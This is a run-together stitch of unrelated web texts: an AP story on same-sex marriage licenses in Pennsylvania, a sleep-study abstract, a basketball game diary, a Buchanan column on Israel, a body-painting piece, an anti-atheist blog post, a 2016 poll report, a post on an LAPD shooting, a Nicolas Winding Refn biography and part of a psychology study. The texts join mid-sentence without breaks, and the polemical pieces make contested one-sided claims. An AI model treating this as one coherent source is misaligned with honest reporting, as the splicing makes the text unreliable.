Alicia Terrizzi and Loreen Bloodgood, of Pottstown, were the only couple to marry right away, exchanging vows in a park before a minister and their two young sons.
“We’re not setting out to be pioneers. We don’t think our family is any different than anybody else,” said Terrizzi, a 45-year-old teacher. “We’ve been waiting a long time for this.”
The licenses issued Wednesday in Montgomery County are believed to be the first to same-sex couples in Pennsylvania, the only northeastern state without same-sex marriages or civil unions.
A 1996 Pennsylvania law defines marriage as a civil contract in which a man and a woman take each other as husband and wife, and it says same-sex marriages, even ones ent ered legally elsewhere, are void in Pennsylvania.
The American Civil Liberties Union of Pennsylvania filed a lawsuit this month asking a federal judge to overturn the law.
Before that suit played out, officials in the affluent and increasingly Democratic county signaled this week that they would grant same-sex licenses.
They could find themselves in court nonetheless if Republican Gov. Tom Corbett or other state officials challenge their actions. In other states with same-sex marriage bans, licenses issued by defiant local officials have been voided by courts.
Montgomery County District Attorney Risa Ferman, a Republican, said Wednesday evening that a same-sex marriage license isn’t legally valid in Pennsylvania, but she said it’s not her place to intervene.
“The register of wills cannot change the laws of this commonwealth by simply ignoring them,” Ferman said in a statement. “If that change comes, it will be through Pennsylvania courts or the Legislature.”
Nils Hagen-Frederiksen, Corbett’s spokesman, added that office holders are “are constitutionally required to administer and enforce the laws” but did not immediately say whether any challenge was in the works.
Democratic Attorney General Kathleen Kane, though, has said that she will not defend the ban, leaving Corbett’s office to tackle the ACLU lawsuit.
The risk of a court fight down the road did not stop the eight women and two men who picked up marriage licenses.
“Today I feel like a full citizen,” said Marcus Saitschenko, 52, of Philadelphia, who came to the suburban courthouse with his partner of 22 years, James Goldstein. “We’re just hoping that the state will recognize it.”
Montgomery County has the state’s third-largest population. D. Bruce Hanes, the register of wills, said he wanted to come down “on the right side of history and the law.” His decision came weeks after the U.S. Supreme Court struck down parts of the Defens e of Marriage Act.
Ted Martin, the executive director of Equality Pennsylvania, said that, to the best of his knowledge, the licenses were the first same-sex marriage licenses ever issued in Pennsylvania.
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Retired marketing executive Ellen Toplin, 60, and partner Charlene Kurland, 69, sought a license Wednesday after 22 years together. Both had previously been married to men, and between them have three children and one grandchild.
“It was expected that I would marry a man, have children and have two cars in the suburbs,” Kurland said. “I think it’s wonderful for young people today to be able to be who they are.”
Two other women had considered applying for a license Tuesday, but they changed course after their lawyer talked to the ACLU, which raised the likelihood of a legal challenge.
Bruce Castor, a Republican county commissioner and a former prosecutor, said opponents could ask Kane’s office to challenge the same-sex licenses in court. Alterna tely, Corbett’s office could go to court to block them or a county judge could step in.
The Rev. Craig Andrussier, a nondenominational minister, married Terrizzi and Bloodgood in a brief ceremony that he expects they will someday “tell their grandchildren about.”
“I feel great. I feel honored,” Andrussier said.
© 2013, Associated Press, All Rights Reserved.
This material may not be published, broadcast, rewritten, or redistributed.
This Story Filed UnderStage 2 sleep is often used as the objective marker of “true” sleep. Yet, throughout the polygraphic era of sleep research, there have been incidental literature reports on the discrepancy between verbal reports of prior behavioral state and the polygraphic recordings of prior behavioral state. Two experiments used a Signal Detection Theory (SDT) framework to systematically assess the extent of this verbal report polygraphic discrepancy in 11 subjects (aged 20‐35) with no sleep‐wake complaints or demonstrable sleep‐wake pathologies. The present work used a 6‐point rating scale with the polygraphic wake state designated as the “Signal” and the polygraphic sleep state (Stage 2 and REM sleep) designated as the “Noise” or blank. The ability to differentiate between polygraphic sleep and wakefulness differed by sleep stage with the discrimination significantly less when arousal came out of Stage 2 sleep rather than out of REM sleep. There was a high false alarm rate out of both polygraphic sleep stage 2 and REM but it was significantly higher out of Stage 2. A priori instruction set and limited performance
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D.C. Weather Update: Still freezing. On a related note, Wiz down 12.
Conor Dirks (8:24 p.m. EST)
Really, though, I’d like to know what Washington was planning to do in this game.
Because what they are doing is letting the Suns have whatever they like, wherever they like. Like that T.I. song, except sad and not as catchy.
Conor Dirks (8:30 p.m. EST)
I went to Israel once and visited a place called Masada, where a harried group of 960 rebels on a rock plateau all committed suicide as the Romans built a ramp up to their fortification. The last one fell on his own spear.
Huh? Oh, right, no … I wasn’t planning on tying that in.
Adam McGinnis (8:30 p.m. EST)
I am checking the App Store right now for help as Suns have nailed another 3-pointer and a lay up. Now are up 23. This game diary was a terrible idea.
Adam McGinnis (8:31 p.m. EST)
The Beal who cried wolf is checking back in. Definitely a Wolverine.
Conor Dirks (8:34 p.m. EST)
Yeah, the only thing “big” about this game is the hole in my chest where my heart used to be.
A wizard-shaped hole.
Adam McGinnis (8:34 p.m. EST)
I just checked Seraphin’s App, found this comment:
Update: this app crashes all the time. Dropping to 2 stars.
Conor Dirks (8:37 p.m. EST)
Steve Buckhantz is an angel, and the lilt of hope in his voice during that Wall throwback one-man fast break has brought me back into the fold.
And then a high-water, up-by-its-bootstraps layup by Andre Miller? Might as well call it a comeback superhighway.
Conor Dirks (8:40 p.m. EST)
There are two “d” characters in “Drew Gooden,” but … nevermind, I won’t. Drew Gooden stinks at defense.
Adam McGinnis (8:41 p.m. EST)
Suns bench is hyped like they are Mercer taking down Duke. Singleton and Porter have nice warm ups.
Conor Dirks (8:43 p.m. EST)
Well, well, well. Two John Wall 3-pointers, and it’s a 10-point game.
“One more stop,” pleads Phil Chenier, understated desperation consuming his voice like a barely audible child with sunken eyes asking for a Toasted Almond ice cream bar on a summer day at the neighborhood pool.
Then Bradley Beal fouls Eric Bledsoe. And then Ish Smith fouls John Wall on a 3-point “attempt.” The Wizards are down 10 going into the fourth quarter, which should keep some televisions humming.
Adam McGinnis (8:44 p.m. EST)
John Wall is cashing 3-balls. How miserable would this team be without his outside shooting? Cray cray. Gooden tries, though, just not that well.
Conor Dirks (8:46 p.m. EST)
“John Wall’s shot never develops” is the darkest timeline.
Adam McGinnis (8:49 p.m. EST)
Door No.1: Wizards get blown out. Door No.2: Wizards make a late run to come up short. Door No.3: Wizards win and I get a date with the Wizard girl that I recently met a local gentleman’s establishment. Decisions, decisions!
Conor Dirks (8:52 p.m. EST)
The lady or the tiger, Adam. So it has been, so it will ever be.
John Wall just left Goran Dragic crying (when he met him/when he left him) with a right-handed move and drive to the basket.
Conor Dirks (8:54 p.m. EST)
And after a John Wall alley oop to Andre Miller (who politely declined to do anything more than gently push it off the backboard and through the basket), the Phoenix lead is five points. I’m sorry about all the mean things I said. I was just sad, you know?
Adam McGinnis (8:58 p.m. EST)
Wall to Miller Oop just happened and I am sober. Wow.
Conor Dirks (9:02 p.m. EST)
Well, Washington got to within four, and then Phoenix remembered how they got all those points earlier in the game. The rain fell and washed away all the positive pixels I was ginning up. Dragic just nailed a 3-pointer and then evaded a Wall swat for a layup. Phoenix is now up 12, and don’t quote me on this, but I think the Wizards are cooked.
Wall had five assists in the first quarter, but only has one since. Five minutes left in the game.
Adam McGinnis (9:05 p.m. EST)
Did you see that Wall pass to Beal? HOLY CRAP. Bao Bao missed it, but Wall had eyes in back of his head. Dragic is starting to heat up after Wall has been embarrassing him on those sick cross overs.
My chance with the cutie are dwindling. Damn, Door No.2.
Adam McGinnis (9:07 p.m. EST)
Cheap foul on Gortat and Morris twin on the line. On a related note, the twins hosted a party last night. Hopefully, no one brought up their Jayhawks losing to Stanford.
Conor Dirks (9:09 p.m. EST)
The tiger it is, Adam.
The Game Changer is going straight at the basket on every play now. It’s like no one else is on the court. I’ve always loved that “eff you” quality about Wall, but he needs to fire it up earlier in games, and learn how to ply it through methods other than brute force.
Adam McGinnis (9:13 p.m. EST)
We are coming on to that time of the a Wizards loss where I contemplate why I spend so much of my free time on this basketball franchise. Then I found out today that 100 million people play Candy Crush, every single day. The company that owns it is now worth about $7 billion after their IPO. Then I cried inside.
Conor Dirks (9:13 p.m. EST)
They’re also telling any other games that use the words “candy” or “crush” or “saga” to cease and desist, despite the prevalence of those words. They’re truly evil.
Like that Bledsoe 3-pointer, which will haunt my dreams.
Adam McGinnis (9:14 p.m. EST)
Holy Batman. J-Dub is taking over but his UK bro Eric Bledsoe just answered. Deadly, fam.
Adam McGinnis (9:19 p.m. EST)
Falling down by 25 in a second of any basketball game, even a NBA one, is rarely ever a recipe for success. Heat and Pacers are on. And not the Knicks vs Lakers prime-time monstrosity that captive viewers were forced to shut up and swallow earlier this week.
Conor Dirks (9:20 p.m. EST)
And the cheers for free throw misses ring out in the otherwise deadened Verizon Center air. With the Wizards down eight and still 20 seconds to go, free chicken mobilizes the masses, and embarrasses everyone with a soul.
Conor Dirks (9:22 p.m. EST)
The Wizards have a date with.500 on Friday night against the Pacers. Wish I could say this was fun, Adam, but thanks for emailing with me during Washington’s 35th loss of the season. Meanwhile, Randy Wittman fiddles with his watch, which reads “please help” in microscopic font when viewed via binoculars.
Adam McGinnis (9:27 p.m. EST)
Well, better get to bed early tonight so you can hit up this hot shindig tomorrow night at Shadow Club.
PS. Yes, this is the same spot that JaVale and Andray got into an infamous fight over a groupie.
PSS. Oh, Lavoy Allen is hosting a Sweet 16 party in Washington D.C. Let that marinate…..
Adam McGinnis (9:30 p.m. EST)
Three-point totals: Suns – 14-28 (50%), Wizards – 6-19 (31.6%). A difference of eight makes and Washington loses by six. Honestly, only #Analysis you need for this one.Actually, Joe set himself up. From the moment he set foot on Israeli soil, our vice president was in full pander mode.
First, he headed to Yad Vashem memorial, where he put on a yarmulke and declared Israel “a central bolt in our existence.”
“For world Jewry,” Joe went on, presumably including 5 million Americans, “Israel is the heart. … Israel is the light. … Israel is the hope.”
Meeting Shimon Peres the next day, Joe confessed that when he first visited at age 29, “Israel captured my heart.”
In Peres’ guestbook, he wrote, “The bond between our two nations has been and remains unshakable.”
He then told Peres and the world, “There is absolutely no space between the United States and Israel when it comes to Israel’s security.”
As Peres spoke, Biden took notes. When Peres called him “a friend,” Joe gushed, “It’s good to be home.”
Even at AIPAC, they must have been gagging.
Walking around the corner to Prime Minister Netanyahu’s office, Joe called him by his nickname, “Bibi,” declared him a “real” friend, and said the U.S. relationship with Israel “has been and will continue to be the centerpiece of our policy.”
Then the sandbag hit.
Interior Minister Eli Yishai announced construction of 1,600 new apartment units in Arab East Jerusalem. Stunned and humiliated, Biden issued a statement saying he “condemned” the decision.
He then retaliated by coming late to dinner at Bibi’s house.
Netanyahu has apologized for the timing, but they are going ahead with the apartments. What are the Americans going to do about it? At this point, nothing but bluster.
Indeed, a day later, at Tel Aviv University, Joe was back at it: “[T]he U.S. has no better friend … than Israel.”
On his departure for Jordan, Ha’aretz reported that Israel plans to build 50,000 new homes in East Jerusalem over the next few years.
Biden may feel he was played for a fool, and Americans may feel jilted, but we got what grovelers deserve. And if we wish to understand why the Arabs who once respected us now seem contemptuous of us, consider that battered-spouse response to a public slap across the face.
Consider also the most remarkable statement of Biden’s first 24 hours.
“Progress occurs in the Middle East when everyone knows there is simply no space between the United States and Israel.”
Biden is saying we are a more effective force for Mideast peace in a region where Arabs outnumber Israelis 50 to one if everyone knows we sing from the same song sheet as Israel and have no policy independent of Israel’s.
How can America be seen as an honest broker between Arabs and Israelis if there is “no space” between America and Israel?
Even with the closest ally in our history, Britain in World War II, there was space between Winston Churchill and FDR on where to invade – North Africa, Italy, France, the Balkans? – whether to beat Stalin to Berlin, Prague, and Vienna, who should be supreme allied commander, even whether the British Empire should survive.
Israel keeps its own interests foremost in mind, and when these dictate actions inimical to U.S. interests, Israel acts unilaterally. David Ben-Gurion did not seek Dwight Eisenhower’s permission to attack Egypt in collusion with the French and British in 1956, enraging Ike.
Israel did not consult JFK on whether it could steal enriched uranium from the NUMEC plant in Pennsylvania for its atom bomb program.
Israel did not consult us on whether it could attack the USS Liberty in the Six-Day War, or suborn Jonathan Pollard to loot our security secrets, or transfer our weapons technology to China. They went ahead and did it, knowing the Americans would swallow hard and take it.
Ehud Olmert did not consult President-elect Obama on whether to launch a war on Gaza and kill 1,400 Palestinians. Nor did Netanyahu consult us before Mossad took down the Hamas minister in Dubai.
What Netanyahu and Yishai are telling Obama with their decision to keep building on occupied land is, “When it comes to East Jerusalem and the West Bank, we decide, not you.”
And if Netanyahu has jolted Joe and others out of their romantic reveries about Israel, good. At least now we no longer see as through a glass darkly.
Israeli and U.S. interests often run parallel, but they are not the same. Israel is concerned with a neighborhood. We are concerned with a world of 300 million Arabs and a billion Muslims. Our policies cannot be the same.
If they are, we will end up with all of Israel’s enemies, who are legion, and only Israel’s friends, who are few.
And if our policy and Israel’s are one and the same, the Arab perception will be what it is today – that America cannot stand up to Israel, even when her national interests command it.
Joe’s performance before he got the wet mitten across the face only underscored the point: The mighty superpower is a poodle of Israel.
COPYRIGHT 2010 CREATORS.COM
Read more by Patrick J. BuchananIt took Johannes Stoetter weeks of painstaking planning to transform this model’s body into the image of a parrot (Picture: Johannes Stoetter / BNPS)
It looks like a simple painting of a parrot perched on a tree stump, but take a closer look and a whole different story begins to emerge.
The figure atop the log is in fact a female model who has posed for body-painting supremo Johannes Stoetter.
A former body-painting world champion, the Italian artist takes his inspiration from the natural world and has gained a reputation for creating eye-bending masterpieces.
His latest work is this intricate design that is so lifelike it is often mistaken for a real parrot.
The Italian artist uses breathable paints to create his masterpieces (Picture: JohannesStoetter / BNPS)
Johannes spent weeks painstakingly working out how he could transform the female model into the colourful bird and took a further four hours to paint her using breathable ink.
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The model’s legs portray the bird’s wing and tail feathers while her arm wrapped around her neck forms the parrot’s head and beak.
‘I couldn’t imagine that there would be a way to earn money with body-painting,’ explained Stoetter, who has been creating body art since the year 2000.
‘But nevertheless I was totally convinced that I wanted to do it – I felt that it was my way.’Atheism and the Loss of Fear
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Atheism has become increasingly bold in her declarations and actions over the years. The atheist star, Madylin O' Hair, who thrived with her vicious condemnation of Biblical Christianity in the 70's and 80's has birthed a new generation of God-hating disciples. College professors in public universities have learned that the classroom is the best place for a non-religious experience.
An example of this comes from Florida Atlantic University who contrived the following exercise:
"The assignment called for students to write the name "Jesus" on a piece of paper, put the paper on the ground, and stomp on it."
A halfhearted apology was issued and now classes can continue with their daily scheduled de-christianization hour. The professor does not claim to be an atheist. Former Governor Mike Huckabee "questioned if any program at FAU would have allowed 'Muhammad' to be written on the paper and stomped instead." When they reach that fearless pinnacle, I will write another piece.
My point here is not just that education cannot be neutral – that is too obvious – but that public education no longer masquerades her neutrality. There was a time when government curriculum attempted to deny their anti-theistic direction, but that time is past. This is the time when atheists can declare their loss of fear publicly and unashamedly.
Much like the homosexual community is becoming more and more comfortable coming out of the philosophical and theological closet; atheists today put on a robe and march to their pulpits with their well-scripted homilies. These pastors of the dead are not only situated in the comfortable chairs of the academic halls of well-funded state universities, they also sneak into the high-school curricula with a fancy diversity library card. For an example of this, here is the latest fearless atheistic move:
The California Department of Education has revised the statewide recommended reading list for its 6.3 million K-12 students, adding roughly 40 titles focused on homosexuality or gender confusion.
One example will suffice:
The Bermudez Triangle, by Maureen Johnson. "Since childhood, the Bermudez Triangle consisted of Nina, Avery, and Melanie. But when Nina leaves for a summer-school program, all three experience changes in the way they view each other. The three teenage girls explore the meaning of friendship and love while trying to keep long-distance relationships intact. Avery and Melanie begin to understand their homosexuality, and Nina feels left out. This novel illustrates the stresses, jealousy, and anxiety of teenage girls trying to understand themselves as they mature."
If this is not sufficient to detail the loss of fear in the anti-Christian establishment, media, and the country's education system, then nothing will convince the reader. "These are just isolated examples," some may argue. If so, their PR team is performing a stupendous job.
I understand that Richard Dawkin's atheist camp is not drawing the masses, but can we assert at the very least that atheism is losing its fear? As their platforms increase their hunger for converts becomes insatiable. They want our children and they want them now.
As pietistic Christians become more and more fearful of the world around them, non-Christians continually gain intellectual ground. As the Easter Season approaches, we need to be reminded once again that the tomb is empty and the world is filled with the glory of the risen Christ. Let us not fear. Our faith is not in vain.Nearly two months out from the general election, Democrats are leading in the presidential and senate races in the battleground state of Pennsylvania, according to a Monmouth University poll released Tuesday.
Among Keystone State voters likely to cast ballots in November, 48 percent support Hillary Clinton while 40 percent back Donald Trump. This follows a Monday nationwide poll that showed Clinton winning the White House by seven points.
When it comes to the southeastern corner of Pennsylvania--which has historically accounted for more than 40 percent of statewide turnout--Clinton’s lead in the state nearly doubles that of her Republican rival by a margin of 38 percent to 29 percent, the poll showed.
“It looks like Clinton’s got a friend in Pennsylvania, particularly in the Philly suburbs,” said the director of the independent Monmouth University Polling Institute, Patrick Murray. “A key factor boosting Clinton’s support there is that about half of white voters in this region have a college degree, compared to just over one-third in the rest of the state.”
But, the trend reverses in the less populated northeastern and central areas of the state. Here the billionaire GOP nominee leads Clinton by a margin of 58 to 28 percent.
The Monmouth poll also revealed that the former secretary of state maintains an 85 point lead over Trump among black, Hispanic and Asian voters--demographics that Trump struggles with nationwide. The massive racial gap, however, isn’t unprecedented. Four years ago, incumbent Barack Obama won minority voters by 71 points, while Mitt Romney took the white vote by 15 points.
The Senate race in Pennsylvania has been described as one of the state elections that will determine whether the GOP retains its majority in Congress. Tuesday’s poll indicated that Katie McGinty has a four-point lead over Republican incumbent Pat Toomey. But there’s still time for a comeback, since voters tend to approve rather than disapprove of Toomey’s job performance, the poll suggested.
The Monmouth University poll was conducted by telephone from August 26 to 29 with 402 Keystone state voters likely to participate in the general election.Yesterday LA Times ran a human interest story. "LAPD will give new truck to women shot by officers." Sounds lovely.
Of course, LAPD would want to keep that dirty, moth-eaten old truck... the one they shot a couple zillion times last Friday. Getting additional photos could prove difficult. Forensic analysis of the tailgate and driver side rear window?????
LAPD moved immediately to get legal hands on the evidence.
Sign on the dotted line, Margie Carranza and Emma Hernandez??? Maybe. But before you sign -- allowing blue truck to meet black crusher -- please have your supporters contrast the originals that go with these two images and have a look at the tailgate.
FIRST:
Image # 1 -- empty Toyota Tacoma, secured crime scene
-- http://timelines.latimes.com/...
SECOND:
Later LA Times got Image # 2 -- empty Toyota Tacoma, secured and tagged crime scene
-- http://www.latimes.com/...
No CGI. Both are cropped/recopied LA Times photos.
These are not the originals. They are cropped and limited to 100K max to make life easier for DKOS downloaders. In real life Image # 1 is excellent.
Count the bullet holes and tagged bullet holes in that tailgate.
The white squares in Image # 2 are evidence tags, mostly placed over bullet holes.
Working from Internet "originals" gets only so far. These results are not certain. There can be errors, here. We will not for sure what happened until close-in images become available during this coming work week.
We get to an extra dozen holes looking at the cruiser window area, then stopped counting. Six holes went to eighteen holes. The driver-side rear window also looks to have taken additional damage in the form of bullet or buck shot holes.
Based on this photographic evidence, LAPD officers inflicted a cosmetic fusillade on this truck after Margie and Emma had been transported to hospital.
This would not the first instance of additional gunfire at a crime scene being used to obscure evidence of police wrong doing.
Will we see an investigation for charges under California Title 8 related to hazardous discharges of firearms? Any discharges after the crime scene was secured would qualify.
Based on a conservative read of these images, someone blasted the truck again after the scene was secured. Many of those bullets would have traveled substantial distances before they stopped.
Los Angeles pays a lot of money each year for the salaries of police executives. Their basic job is to select, train and manage LAPD police officers. What is going on out there???Overview (3)
Born September 29, 1970 in Copenhagen, Denmark Nicknames Jang
Nick Height 6' 2½" (1.89 m)
Mini Bio (2)
Writer, director, and producer Nicolas Winding Refn was born in Copenhagen, Denmark, in 1970, to Anders Refn, a film director and editor, and Vibeke Winding (née Tuxen), a cinematographer. Just before he turned 11, in 1981, he moved to New York with his parents, where he lived out his teen years. New York quickly became his city and soon began to shape Nicolas' future.
At seventeen, Nicolas moved back to his native Copenhagen to complete his high-school Education. After graduation, he swiftly flew back to New York, where he attended the American Academy of Dramatic Arts. However, this education was cut short when Nicolas threw a desk at a classroom wall and was expelled from the Academy. Consequently, he applied to the Danish Film School and was readily accepted. This education too was to be short-lived, though, as one month prior to the start of the semester, Nicolas dropped out.
A short film Nicolas had written, directed, and starred in was aired on an obscure cable TV channel and lead to the offer of a life-time. Nicolas was spotted and offered 3.2 million kroners to turn the short into a feature. At only twenty-four, Nicolas had written and directed the extremely violent and uncompromising Pusher (1996), which became a cult phenomenon and won Nicolas instant international critical acclaim. The success of his debut spurred him to push the boundaries of his creative filmmaking further, which resulted in the close-to-the-edge and intricately gritty Bleeder (1999). Highly stylized and focused on introverted reactions to outward situations, this film was a marking point for the shaping of Nicolas's future career. The movie was selected for the 1999 Venice International Film Festival as well as winning the prestigious FIPRESCI Prize in Sarajevo.
Nicolas's fourth feature, the much-anticipated Fear X (2003) was also his first foray into English-language movies. Starring the award-winning actor John Turturro, "Fear X" made its world premiere at the Sundance Film festival. However, Fear X divided critics and it flopped, which made Nicolas Winding Refn broke and in debt.
Having to provide for his family and paying his debt, he returned to Denmark to revisit "Pusher." Refn was reluctant to revisit his past success but decided that he could both make commercially viable and artistically pleasing films. In just two years he managed to write, direct and produce the two sequels. Pusher II (2004) and Pusher III (2005) sealed the box and success of the internationally renowned "Pusher" trilogy. In 2005, the Toronto Film Festival held a "Pusher" retrospective showing all three features cementing its worldwide phenomenon.
In 2006 Nicolas embarked on a second English-language (and first digital) feature called Valhalla Rising (2009), which was inspired by a story his mother read to him at the age of five about a father and son who embark on a trip to the moon. Not recalling the ending of this story has been a long time fascination of Nicolas's with the unknown. During the pre-production on "Valhalla Rising," his long time collaborator and friend, Rupert Preston, urged him into accepting an offer to write and direct Bronson (2008), an ultra-violent, surreal, and escapist film following the real-life landmarks and self-entrapment of Charles Bronson, Britain's most notorious criminal. Before its cinematic release, "Bronson" was making waves inside and outside the film industry. The 2009 Sundance Film Festival selected the blistering film for its World Cinema Dramatic Competition and it soon became the talk of the festival. With such a prestigious premiere, "Bronson" went on to be selected for other major international film festivals and reap strong box-office rewards. But, even with such a buzz surrounding the film, no one could predict how the British press would bite at "Bronson's" bit. The content was close to the knuckle, the subject matter controversial, but Nicolas's take on this was even more inspired leading him to be labeled by the British media as the next great European auteur.
With such critical acclaim, Nicolas's reputation as a producer, writer and director was solidly reaffirmed. Nicolas and his wife Liv Corfixen were the subjects of an acclaimed documentary, Gambler (2006), which premiered at the Rotterdam International Film Festival in 2005. In addition, Nicolas already received two lifetime-achievement awards (one from the Taipei International Film festival in 2006 and the second from the Valencia International Film Festival in 2007), and it was the winner of the Emerging Master Award from the Philadelphia International Film Festival 2005.
- IMDb Mini Biography By: [email protected]
Nicolas Winding Refn is a Danish film director, screenwriter and producer. He moved to the United States in 1981 and is known for directing the crime dramas Bleeder (1999) and the Pusher films (1996, 2004, 2005), the fictionalised biographical film Bronson (2008), the dramatic adventure film Valhalla Rising (2009), the neo-noir crime film Drive (2011) and the thriller Only God Forgives (2013). In 2008, Refn co-founded the Copenhagen-based production company Space Rocket Nation.
In 2008, Refn directed and wrote Bronson, which starred Tom Hardy as the title character, the infamous real-life U.K. prisoner Charles Bronson. The film won Best Film at the 2009 Sydney Film Festival, and was also nominated for the Grand Jury Prize at the 2009 Sundance Film Festival. Hardy also won a Best Actor award at the 2009 British Independent Film Awards for his portrayal of Charles Bronson.
In 2011, Refn directed the American neo-noir crime drama Drive. It premiered in competition at the 2011 Cannes Film Festival, where he received the Best Director Award.
Only God Forgives (2013) The Bangkok-set crime thriller, starring Ryan Gosling and Kristin Scott Thomas, premiered in competition at the 2013 Cannes Film Festival.
- IMDb Mini Biography By: Pedro Borges
Spouse (1)
Liv Corfixen (? - present) ( 2 children)
Trade Mark (11)
Usually sets his films in Copenhagen, Denmark
Frequently uses handheld cameras
The color red is frequently shown throughout all of his films
Shoots all his films in chronological order and without rehearsal
Effective use of rock, electronic, and pop music in films
Unsettling scenes of extreme violence
Often has a lingering shot of a character observing their reflection.
Often features a character examining their image in a mirror
Trivia (31)
Danish Film School drop-out.
Owned a film company called Jang Go Star, which went bankrupt.
He once stated that his greatest source of inspiration is Martin Scorsese and his films. As a salute to him, he used the main theme from Scorsese's Casino (1995) in the opening sequence of Bleeder (1999).
Of his Pusher trilogy, he prefers the third movie, because it's the most experimental and risky one.
Lars von Trier offered him a chance to direct Dear Wendy (2005), but he turned it down. According to Refn, it was largely because he felt von Trier was condescending to him and ignored his request of help in negotiating a deal so Refn could buy back the rights to the original "Pusher". Refn says he had told von Trier how important it was to him and was hurt when von Trier seemed to ignore his plea.
In 2003, a biography, written by famed journalist Henrik List, was published about Nicolas, spanning his earlier years from Pusher (1996) to Fear X (2003).
He and his wife Liv Corfixen are the subjects of a theatrical documentary called Gambler (2006). The documentary follows the couple from their financial struggle after the failure of Fear X (2003) to the successful completion of the "Pusher" trilogy.
Due to the commercial failure of Fear X (2003), he was forced to expand his successful debut feature Pusher (1996) into a trilogy. The sequels became huge successes and saved him financially.
Avid toy collector. In particular Japanese robots, Dr. Who Daleks, and replica Thunderbird vehicles.
In 2008, he started a new production company called JGS (Jang Go Star) with longtime friends and business associates 'Lene Borglum' and Thor Sighvatsson.
In his native Denmark, Nicolas is known as l'Enfant Sauvage (the Wild Child).
Despite directing Drive (2011), he doesn't have a drivers' license. He failed his driving test 8 times.
Teetotal.
He is color blind.
He is dyslexic.
Is a big fan of Hayao Miyazaki whom he considers one of the great masters and frequently watches his films together with his daughters.
He's a fan of Breaking Bad (2008).
Is a fan of the comic book series "The Incal" written by Alejandro Jodorowsky and illustrated by Jean Giraud
Member of the 'Academy of Motion Picture Arts and Sciences' (AMPAS) since 2016.
In 2009, he was to develop a film biopic on the life of polemic and controversial English occultist, Aleister Crowley, with Tom Hardy (whom he had worked with on Bronson) as Crowley. As of 2016, the project hasn't been brought to fruition.
In an interview regarding the definition and risks of beauty, regarding The Neon Demon, for the BBC, he talked about his childhood, being very hard. He was laughed at because he is dyslexic and wasn't able to read and write properly and he also wasn't good at sports. He said he didn't have a girlfriend until he was 24 and famous. But with time he learned to look at all of those "weaknesses" as strengths, the things that make him who he is.
He has said that he would like to make a film adaptation of the DC Comics heroine Batgirl.
He has expressed a desire to make a superhero movie. He at one point wanted to direct Wonder Woman (2017).
Is a huge fan of the actress Jena Malone. Cast her in his movie 'The Neon Demon' with the possibility that she may play a character in 'The Avenging Silence.
His initials are "NWR" which by coincidence are the same letters of the music record label and genre "New Retro Wave," a genre which he arguably pioneered into the mainstream in the early 2010s.
He didn't learn to read until he was thirteen.
Personal Quotes (28)
Like all art forms, film is a media as powerful as weapons of mass destruction; the only difference is that war destroys and film inspires.
The auteur theory is such a strange theory, because you're dealing with human beings. You only make good stuff if your collaborators are a part of your process and a part of your ideas, and there's no point in fighting them or them fighting you. Even Ingmar Bergman had a lot of discussions with his actors about pros and cons. An auteur doesn't have to write every single word, because the writer's there to help the director do what the director wants to do, and that was certainly my case.
[on Ryan Gosling ] The thing with Ryan, you can look at him for hours. Very few actors have that. It's a gift.
Well, art is an act of violence. It is about penetration, about speaking to our subconscious and our moods at different levels.
[on casting Kristin Scott Thomas in Only God Forgives (2013)] I was initially looking for an unknown in the role and then I heard she was interested through the grapevine. So I went to Paris to meet her and very quickly realized she had no problem in turning on the bitch switch. But she said, 'In order for me to do this, I need to transform'. And I said, ''You're preaching to the choir, baby'.
Silence is cinema! We are so used to sounds; we're always talked at. Silence is very rare for us for a long duration of time. It makes people very uncomfortable. But what it does, it also forces us to perceive on a much deeper level because we can no longer just be told things..Silence is like gold. It forces the audience to engage more, because they're not being told what to think.
The thing that's interesting in the digital revolution is that beyond your classic journalists or film critics, there's a whole world of people that are interested or fascinated by film. They didn't used to have a voice. The way that people describe, argue and debate is very fascinating because it shows that art has been taken back by the people. It's not longer individuals who set the standards or set the taste. It's been completely democratized.
The chief enemy of creativity is being safe, with good taste.
[on his Pusher (1996)-trilogy] Sometimes the difference between Scandinavia and rest of world is, that sense of desperation doesn't always come out of necessity, but comes out of boredom. Because we have a very healthy Socialistic society, very few people do crime out of survival. A lot of the times it comes out of boredom. In one way we have almost a perfect setup, but yet there is a backlash - a dark side. Through the Vikings, we have a very violent tradition in the north. But because of socialism, that has been controlled over the last 30 or 40 years. We take things for granted, we take Socialism for granted. We have a tendency now in Scandinavia to be so spoiled. It actually ends up making us extremely racist. Because we are so preoccupied with ourselves, and what is ours, we want more and more. None of us have lived through a war, or a crisis. If you're a young student you can collect unemployment and live like that very well for the rest of your life. If you get sick, you go to the hospital. If you want your children to go to school, you send them to school. I'm not saying it's a perfect society. But having those things that create a healthy society, can take its toll because everything becomes so collective - like a commune. Everybody lives together on equal terms.
[on Zlatko Buric ] Zlatko is my favorite actor. He comes from an experimental theatre in Croatia. He's out there. The amount of talent that guy has... if he had a good agent in America, he would be on top in Hollywood. He could be one of those great character actors that you could pull in to make anything work.
[on casting Bryan Cranston in Drive (2009)] I had seen Breaking Bad (2008) and I'm probably the biggest fan of "Breaking Bad" in the world. [Cranston] was the actor I basically went straight for, and I had to woo him, because Bryan has a lot of opportunities. One of the conditions was that everybody had to come to my house to meet me. So when Bryan came, the character was very underdeveloped, and I said to him: "Look, we are here to create him. What would you like to do?" And that led to very good conversations. Then, of course, I didn't hear anything, and knowing that he was in demand, I called him. Again, it was my good producer friend Adam Siegel who said, "Maybe we should just give him a call." I called him, and at the moment I called, he was sitting with a blank piece of paper writing pros and cons of doing Drive or not. He said: "Well, since you're calling, there must be meaning, so I'll do your movie."
Breaking Bad (200
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control group. Men in the experimental group also rated heavier female bodies as more attractive and idealised a wider range of female figures than did the control group.
Men were randomly assigned to either an experimental group, in which they took part in a task that heightened stress (experimental group, n = 41) or in which they did not take part in such a task (control group, n = 40). Both groups rated the attractiveness of female bodies varying in size from emaciated to obese, completed a measure of appetite sensation, and had their body mass indices (BMIs) measured.
In short, to the extent that heavier body sizes are perceived as more physically mature [17], it seems plausible that individuals experiencing psychological stress may experience a shift in their body size ideals. In order to test this hypothesis, we examined the effects of acute stress on men's body size preferences. By utilising a standardised stress test and by controlling for subjective perceptions of hunger, we were able to investigate the direct effects of stress on body size preferences. Based on previous work [16], [18], we predicted that men would show a preference for a larger female body size when experiencing psychological stress.
